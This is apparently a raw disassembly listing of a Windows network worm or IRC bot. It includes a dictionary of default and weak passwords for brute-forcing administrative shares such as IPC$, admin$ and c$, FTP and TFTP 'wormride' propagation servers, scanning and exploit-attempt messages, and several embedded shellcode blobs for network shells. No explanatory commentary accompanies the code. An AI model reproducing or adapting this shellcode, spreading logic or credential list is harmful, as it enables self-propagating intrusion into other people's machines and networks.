		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], bh
		inc	ecx
		add	[eax+eax*8+41h], ch
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-40h], ah
		inc	ecx
		add	[eax-40h], bl
		inc	ecx
		add	[eax-40h], dl
		inc	ecx
		add	[eax-40h], cl
		inc	ecx
		add	al, dh
		rol	byte ptr [ecx+0], 88h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], al
		inc	ecx
		add	[eax], bh
		rol	byte ptr [ecx+0], 30h
		rol	byte ptr [ecx+0], 28h
		rol	byte ptr [ecx+0], 80h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax+eax*8], bl
		inc	ecx
		add	[eax+eax*8], cl
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[eax+eax*8], al
		inc	ecx
		add	al, bh
		mov	edi, 0BFE80041h
		inc	ecx
		add	[ebx+eax*8+41h], ah
		add	ah, dl
		mov	edi, 0BFD00041h
		inc	ecx
		add	ah, cl
		mov	edi, 0BFC40041h
		inc	ecx
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[eax-5BFFBE41h], dh
		mov	edi, 0C3540041h
		inc	ecx
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-67FFBE41h], ah
		mov	edi, 0BF940041h
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edi+edi*4-407BFFBFh], cl
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0
aBlank		db 'blank',0
		align 4
aXp_0		db 'xp',0
		align 4
aNokia		db 'nokia',0
		align 10h
aHp		db 'hp',0
		align 4
aOrainstall	db 'orainstall',0
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0
		align 4
aDb1234		db 'db1234',0
		align 4
aDb2		db 'db2',0
aDb1		db 'db1',0
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDbpassword	db 'dbpassword',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDomainpassword	db 'domainpassword',0
		align 4
aDomainpass	db 'domainpass',0
		align 4
aHello		db 'hello',0
		align 10h
aHell		db 'hell',0
		align 4
aLove		db 'love',0
		align 10h
aMoney		db 'money',0
		align 4
aSlut		db 'slut',0
		align 10h
aBitch		db 'bitch',0
		align 4
aFuck		db 'fuck',0
		align 10h
aExchange	db 'exchange',0
		align 4
aLoginpass	db 'loginpass',0
		align 4
aLogin		db 'login',0
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: MEW:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: MEW:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: MEW:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: MEW:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: MEW:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: MEW:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: MEW:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: MEW:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: MEW:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: MEW:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: MEW:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: MEW:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: MEW:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: MEW:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: MEW:0041BE00o
aSex		db 'sex',0              ; DATA XREF: MEW:0041BDFCo
aOutlook	db 'outlook',0          ; DATA XREF: MEW:0041BDECo
aMail		db 'mail',0             ; DATA XREF: MEW:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: MEW:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: MEW:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: MEW:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: MEW:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: MEW:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: MEW:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: MEW:0041BDB4o
		align 10h
aTest		db 'test',0
		align 4
a2005		db '2005',0
		align 10h
a2004		db '2004',0
		align 4
a2001		db '2001',0
		align 10h
aSecret		db 'secret',0
		align 4
aPayday		db 'payday',0
		align 10h
aDeadline	db 'deadline',0
		align 4
aWork		db 'work',0
		align 4
a1234567890	db '1234567890',0
		align 10h
a123456789	db '123456789',0
		align 4
a12345678	db '12345678',0
		align 4
a1234567	db '1234567',0
a123456		db '123456',0
		align 4
a12345		db '12345',0
		align 10h
a1234		db '1234',0
		align 4
a123		db '123',0
a12		db '12',0
		align 10h
a1:
		unicode	0, <1>,0
a007		db '007',0
aPwd		db 'pwd',0
aPass		db 'pass',0
		align 4
aPass1234	db 'pass1234',0
		align 10h
aDba		db 'dba',0
aPasswd		db 'passwd',0
		align 4
aPassword	db 'password',0         ; DATA XREF: MEW:0041D768o
		align 4
aPassword1	db 'password1',0
		align 4
aAbc		db 'abc',0
aAb		db 'ab',0
		align 4
aA_0:
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: MEW:0041BD04o
		align 4
aPrint		db 'print$',0
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0	db 'admin$',0
		align 4
aAdminSystem32	db 'Admin$\system32',0
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: MEW:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0
		align 10h
aCWindows	db 'c$\windows',0
		align 4
aCWinnt		db 'c$\winnt',0
		align 4
aEShared	db 'e$\shared',0
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: MEW:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0
		align 4
aE		db 'e$',0
		align 10h
aD		db 'd$',0               ; DATA XREF: MEW:0041BCD0o
		align 4
aC		db 'c$',0               ; DATA XREF: MEW:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: MEW:0041BCC4o
					; MEW:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: MEW:0041BCC0o
					; MEW:0041BF78o
aOwner		db 'owner',0
		align 10h
aStudent	db 'student',0          ; DATA XREF: MEW:0041BCB8o
					; MEW:0041BF70o
aIntranet	db 'intranet',0
		align 4
aLan_0		db 'lan',0
aMain		db 'main',0             ; DATA XREF: MEW:00416ACAo
					; MEW:00416AECo
		align 10h
aOffice		db 'office',0
		align 4
aControl	db 'control',0
aSiemens	db 'siemens',0
aCompaq		db 'compaq',0
		align 10h
aDell		db 'dell',0
		align 4
aCisco		db 'cisco',0
		align 10h
aIbm		db 'ibm',0
aOracle		db 'oracle',0
		align 4
aSql		db 'sql',0
aSa		db 'sa',0
		align 4
aData		db 'data',0
		align 4
aAccess		db 'access',0
		align 4
aDatabase	db 'database',0
		align 10h
aDomain		db 'domain',0
		align 4
aGod		db 'god',0
aBackup		db 'backup',0
		align 4
aTechnical	db 'technical',0
		align 10h
aMary		db 'mary',0
		align 4
aKatie		db 'katie',0
		align 10h
aKate		db 'kate',0
		align 4
aGeorge		db 'george',0
		align 10h
aEric		db 'eric',0
		align 4
aNone		db 'none',0
		align 10h
aGuest		db 'guest',0
		align 4
aChris		db 'chris',0
		align 10h
aIan		db 'ian',0
aNeil		db 'neil',0
		align 4
aLee		db 'lee',0
aBrian		db 'brian',0
		align 4
aSusan		db 'susan',0
		align 10h
aSue		db 'sue',0              ; DATA XREF: MEW:0041BC24o
					; MEW:0041BE78o
aSam		db 'sam',0              ; DATA XREF: MEW:0041BC20o
					; MEW:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: MEW:0041BC1Co
					; MEW:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: MEW:0041BC18o
					; MEW:0041BE6Co
		align 4
aJohn		db 'john',0             ; DATA XREF: MEW:0041BC14o
					; MEW:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: MEW:0041BC10o
					; MEW:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: MEW:0041BC0Co
					; MEW:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: MEW:0041BC08o
					; MEW:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: MEW:0041BC04o
					; MEW:0041BE58o
aJen		db 'jen',0              ; DATA XREF: MEW:0041BC00o
					; MEW:0041BE54o
aBob		db 'bob',0              ; DATA XREF: MEW:0041BBFCo
					; MEW:0041BE50o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: MEW:0041BBF8o
					; MEW:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: MEW:0041BBF4o
					; MEW:0041BE1Co
aUser		db 'user',0             ; DATA XREF: MEW:0041BBF0o
					; MEW:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: MEW:0041BBECo
					; MEW:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: MEW:0041BBE8o
					; MEW:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: MEW:0041BBE4o
					; MEW:0041BDF8o
		align 10h
aWww		db 'www',0              ; DATA XREF: MEW:0041BBE0o
					; MEW:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: MEW:0041BBDCo
					; MEW:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: MEW:0041BBD8o
					; MEW:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: MEW:0041BBD4o
					; MEW:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: MEW:0041BBCCo
					; MEW:0041BDC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: MEW:0041BBC8o
					; MEW:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: MEW:0041BBC4o
					; MEW:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: MEW:0041BBC0o
aAdmin		db 'admin',0            ; DATA XREF: MEW:0041BBBCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: MEW:0041BBB8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: MEW:0041BBB4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: MEW:0041BBB0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: MEW:0041BBACo
					; MEW:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: MEW:0041BBA8o
					; MEW:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 1471A0h		; DATA XREF: sub_41113B+834r
		align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 16BF48h		; DATA XREF: sub_41113B+73Er
		dd 2 dup(0)
dword_41C558	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_41113B+6F7o
					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 1192A0h		; DATA XREF: sub_41113B+5B4r
		dd 2 dup(0)
dword_41C5E8	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_41113B+56Do
dword_41C5F4	dd 9AAA8h		; DATA XREF: sub_41113B+4EDr
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 10E3A0h		; DATA XREF: sub_41113B+3EAr
		align 10h
dword_41C620	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_41113B+3A3o
dword_41C628	dd 123230h		; DATA XREF: sub_41113B+394r
		dd 2 dup(0)
dword_41C634	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_41113B+34Do
					; sub_41113B+4A6o
dword_41C63C	dd 949E8h		; DATA XREF: sub_41113B+33Er
		dd 2 dup(0)
dword_41C648	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_41113B+2F7o
dword_41C654	dd 238A0h		; DATA XREF: sub_41113B+2E8r
		dd 0
dword_41C65C	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_41113B+2A1o
dword_41C664	dd 0B3160h		; DATA XREF: sub_41113B+292r
		align 10h
dword_41C670	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_41113B+24Bo
dword_41C678	dd 9B2A0h		; DATA XREF: sub_41113B+23Cr
		dd 2 dup(0)
dword_41C684	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_41113B+1E1o
dword_41C68C	dd 1230E8h		; DATA XREF: sub_41113B+1C8r
		dd 2 dup(0)
dword_41C698	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_41113B+181o
dword_41C6A0	dd 128588h		; DATA XREF: sub_41113B+16Br
		dd 2 dup(0)
dword_41C6AC	dd 0A0D20h		; DATA XREF: sub_41113B+E9o
					; sub_41113B+115o ...
dword_41C6B0	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_41113B+13o
dword_41C6B8	dd 303332h		; DATA XREF: sub_411A09+193o
dword_41C6BC	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09+11Do
dword_41C6C8	dd 313333h		; DATA XREF: sub_411A09+F9o
dword_41C6CC	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09:loc_411A8Ao
dword_41C6D8	dd 303232h		; DATA XREF: sub_411A09+63o
unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411DC5+5E2o
unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4


loc_41C7C8:				; DATA XREF: sub_4125DF+50o
		jmp	short loc_41C7DF
; ---------------------------------------------------------------------------


loc_41C7CA:				; CODE XREF: MEW:loc_41C7DFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_41C7D6:				; CODE XREF: MEW:0041C7DBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_41C7D6
		jmp	short near ptr dword_41C7E4
; ---------------------------------------------------------------------------


loc_41C7DF:				; CODE XREF: MEW:loc_41C7C8j
		call	loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4	dd 0			; CODE XREF: MEW:0041C7DDj
dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh		; DATA XREF: sub_4125DF+60r
					; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset loc_41CC28	; DATA XREF: sub_4127D0+77r
; ---------------------------------------------------------------------------
		sbb	al, 0CCh
		inc	ecx
		add	[esp+ecx*8], dl
		inc	ecx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	[esp+ecx*8], dl
		inc	ecx
		add	ah, bl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd offset dword_41CC14
		align 10h
		dd 0A3DCCCEEh, 0B7h, 0
		dd 0FAC18FACh, 0C9F7BFE2h, 0A387EFFBh, 2 dup(0)
		dd 0A1D7CCE7h, 2 dup(0)
aMpRRdJ		db '¬ÁÜÆÁ×êIJà„׆Ï',0
		align 10h
		dd 0
dword_41CC14	dd 2 dup(0)		; DATA XREF: MEW:0041CBC0o
					; MEW:off_41DA48o ...
dword_41CC1C	dd 0A1D6CDEAh, 2 dup(0)	; DATA XREF: MEW:off_41DA44o
; ---------------------------------------------------------------------------


loc_41CC28:				; DATA XREF: MEW:off_41CBA0o
					; MEW:off_41DA40o
		lodsb
		pop	ecx
		jmp	edx
; ---------------------------------------------------------------------------
		db 0E8h, 0FCh, 0C3h
		dd 0B492F6B1h, 0E6AEF0E3h, 0B0h, 0
dword_41CC40	dd 72h			; DATA XREF: sub_412A3A:loc_412B93o
dword_41CC44	dd 62h			; DATA XREF: sub_412BC9:loc_412D11o
dword_41CC48	dd 63h			; DATA XREF: sub_412D56:loc_412DC8o
dword_41CC4C	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CC84	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2
byte_41CCA8	db 0BBh			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 9Fh,	80h, 0FCh
		dd 0B1h, 2 dup(0)
		dd 0EE000000h, 0DACFh, 3 dup(0)
		db 2 dup(0)
dword_41CCCE	dd 8907DA16h		; DATA XREF: sub_41294E+2Br
					; sub_412FC6+31r ...
dword_41CCD2	dd 0			; DATA XREF: sub_412FC6+57w
					; sub_414052+B5r ...
off_41CCD6	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 99B10000h, 0F8E2E19Bh, 0FAh,	2 dup(0)
		dd 0DAC8EB00h, 4 dup(0)
		dd 3FE3FF1Bh, 0
		dd offset sub_410B52
		dd 3, 10h dup(0)
dword_41CD58	dd 6E695728h, 293233h	; DATA XREF: sub_41308F+217o
dword_41CD60	dd 696E5528h, 2978h	; DATA XREF: sub_41308F+1F1o
dword_41CD68	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo
aApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 10h
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 10h
unk_41CDC0	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CE04	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CE18	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CE50	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CE7C	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CEB4	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CEF8	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41CF28	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 4
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41CF7C	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_414052+BBo
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 10h
dword_41CFC0	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41CFF0	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
